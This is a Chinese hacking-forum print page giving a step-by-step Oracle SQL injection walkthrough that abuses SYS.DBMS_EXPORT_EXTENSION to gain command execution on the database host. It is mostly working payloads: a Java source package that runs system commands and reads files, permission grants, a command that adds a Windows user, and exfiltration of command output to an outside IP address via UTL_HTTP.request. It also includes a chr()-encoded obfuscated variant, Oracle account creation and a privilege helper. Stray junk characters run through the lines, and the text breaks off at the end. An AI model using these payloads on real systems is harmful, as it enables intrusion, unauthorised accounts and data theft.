中国网络渗透测试联盟

标题: 实例演示oracle注入获取cmdshell的全过程 [打印本页]

作者: admin    时间: 2012-12-18 12:21
标题: 实例演示oracle注入获取cmdshell的全过程
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 6 n$ e, P. w" u9 j" p5 P
& [' e1 h3 z6 f# h
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
+ l+ j/ i' r" j( c的形式即可。(用" 'a'|| "是为了让语句返回true值)
  ]+ K4 J' i; U+ Y- S6 i0 ?% N. c) r语句有点长,可能要用post提交。
- M, u' C8 l7 k  X以下是各个步骤:
- |1 {, ]/ m! p) q2 B1.创建包
, {/ Q" ]$ ^' O8 _; n通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:1 i' B3 R" I; [
/xxx.jsp?id=1 and '1'<>'a'||(
" {9 P+ K% ]* L/ p; j) ~  L/ N1 aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& Z  a' A! D. v* z0 c" T
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(& _5 M" [3 Y: J) ~9 T
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
. I: L, y+ m% D" u% ~) S}'''';END;'';END;--','SYS',0,'1',0) from dual 1 U: l/ a# P7 V
)
. D1 M3 W! V0 D( h% _------------------------ # D3 A; p% j- G3 H% K
如果url有长度限制,可以把readFile()函数块去掉,即:
1 J2 g4 u7 Z% _. _, o4 \9 B: F9 T/xxx.jsp?id=1 and '1'<>'a'||(
5 G2 S: x1 _. J- z" Z. ?2 j2 L4 tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* S3 b, c; }9 g+ h5 o. W
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(7 ~/ @# y6 J  f/ D+ T- d" O
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
. v! M+ o" U/ Z: \- W& l}'''';END;'';END;--','SYS',0,'1',0) from dual
" F& e- R( `3 Z) ( ^* ~: K2 B: a4 F: s) ^
同时把后面步骤 提到的 对readFile()的处理语句去掉。
  H; U1 u% e2 W- C$ z* S2 f------------------------------
) K! R) L) h+ `* k  E* o2.赋Java权限
. _9 O, _, u. H1 P8 X3 \3 d5 aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual& B- w- \, E; V8 S  u* ]( Y8 |
3.创建函数 # O2 r# B& u7 z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 Q2 ?) C/ e! z
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual2 J  L  o0 u. V7 J% r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 z! t( m" o+ K4 M" S" xcreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
7 I4 ~' w, x1 K4.赋public执行函数的权限
6 w" g6 V0 A( X* Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual6 ]& y3 B0 e1 W! Q! y: U- M( g$ t
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5 A) S5 j2 Y8 g7 o5.测试上面的几步是否成功 # v) U& h% e! P) T' |3 b  B
and '1'<>'11'||(
- Z- P5 R& b7 O4 s) N& tselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
: J& H4 q% K1 `0 D) P) q% o* T)
- P* S; I6 M. N  Band '1'<>(
# _! O7 T: D/ Z; O! Sselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' / a8 ]- H$ T: y" M6 u/ N) k
) / f$ n9 P  \. M( t5 Z+ g
6.执行命令:
) I4 W1 Q* ]3 s6 h/xxx.jsp?id=1 and '1'<>(
! X) @" P( H& Y+ d0 c( Y+ R' d6 w  s  ^select  sys.LinxRunCMD('cmd /c net user linx /add') from dual 8 @3 e, `3 {% }' I

; F0 q, |* m+ c! F8 U) " k( \/ m# ?, L. U
/xxx.jsp?id=1 and '1'<>( $ }% K8 S7 ~) |: O
select  sys.LinxReadFile('c:/boot.ini') from dual
3 c& A; j% w+ ^7 @7 `" w) a
1 T1 s2 d, _2 ]; ?4 P1 I1 ~9 C: ^% x)
+ R' |9 @7 u% Z9 K  
8 g; a4 }/ e* l9 P; W6 l注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
6 c- Y2 y( o6 A! Z) S' O( x如果要查看运行结果可以用 union : 7 p7 U- j) z- q
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
4 P2 R( j" O2 E或者UTL_HTTP.request(: ' Z% z  ~0 V. \& c9 X2 L) n, Y
/xxx.jsp?id=1 and '1'<>( 4 @& N0 `% C* `: C
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
; X3 I1 h4 g: ^9 I* o- C)
$ F+ U$ H4 l% a& @9 c  K/xxx.jsp?id=1 and '1'<>( " p' r) t( R& n  G3 T
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual  Q# |5 X* T/ S1 o+ y4 B
) " n; r# s# c, F" \( s# ~2 U( Y
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
1 r, D# P& |$ D# n( f5 @6 F; J  A7 ?-------------------- 3 c, Y4 ~- N4 s( y/ I( j/ q% \
6.内部变化
8 v, Y* l+ e" j4 {: y通过以下命令可以查看all_objects表达改变: / L; h- R0 N! A
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'! P$ w  Q: b( u8 L/ U8 M; J
7.删除我们创建的函数 . _1 g8 G( A" G+ t1 l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" l1 K. S3 |) l, V4 Udrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
% h$ S; A# g, a7 a* d# }3 q====================================================
0 [; G2 \. n; n+ v8 H全文结束。谨以此文赠与我的朋友。 8 r  K! Q' n: R, l/ |
linx
! ?" \. u/ H; O- _+ G8 g1 u; I; Y124829445 " o, {: z2 q& Z7 z9 ^7 K
2008.1.12 9 D6 q9 e4 l$ ?, d
linyujian@bjfu.edu.cn / {, j, G$ U* i) b0 P5 j2 D
====================================================================== 5 H1 X- K) V3 Y: f9 X3 u
测试漏洞的另一方法: ' o& D4 A4 |) B0 U
创建oracle帐号: ! h5 M5 x) Z0 s4 Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 I: T! H9 Z; |; d( z/ }CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
* r+ P& C. ^4 c2 X4 n即: : E) Z" a) x3 X4 y3 [  ]# V8 W
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),0 Y6 O8 [$ |8 f, c' q5 T: K% m
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
( J7 s  n* t; g# F: U确定漏洞存在: 9 N" x6 u6 b, C( o
1<>( ) Z3 V" s; J" v( e6 @, _. [; q
select user_id from all_users where username='LINXSQL'
; g4 n- z& h' G5 T% N3 B4 ]7 E, P) $ B# a% u+ n: J( ?
给linxsql连接权限: ; _( O+ D# q7 v7 B1 v: Z6 r, o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 k4 K! R# }& U( Y, @
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 8 ~; C& f3 t0 Y' x) t
删除帐号: + D1 k" H1 ?2 U* I$ N1 u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  b& ~/ S# g- }7 v  S3 t* u: V6 r2 P- L' odrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
8 I) u! {5 [+ ^! h% C6 Y====================== 6 V1 b  @! T, r& L& B5 I
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
8 f7 L( d1 @* I6 k1.jsp?id=1 and '1'<>( 0 ?1 W2 F8 Y5 J* [  I. R+ l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; M1 Q, q* ^4 a& m5 p+ y. W4 ]& Ccreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
% o- m4 M2 Y7 F( n1 }1 n) H( m) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE9 u( _+ D. U0 r( j- ?" ^5 |7 c7 d
 )
  r+ w, X7 \# J" o4 G
9 e4 b$ M+ f: b  w; o" _6 J6 b
5 Y0 K2 m. w9 ]. g( z
' c0 z4 v: ^1 q2 A% \; K




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2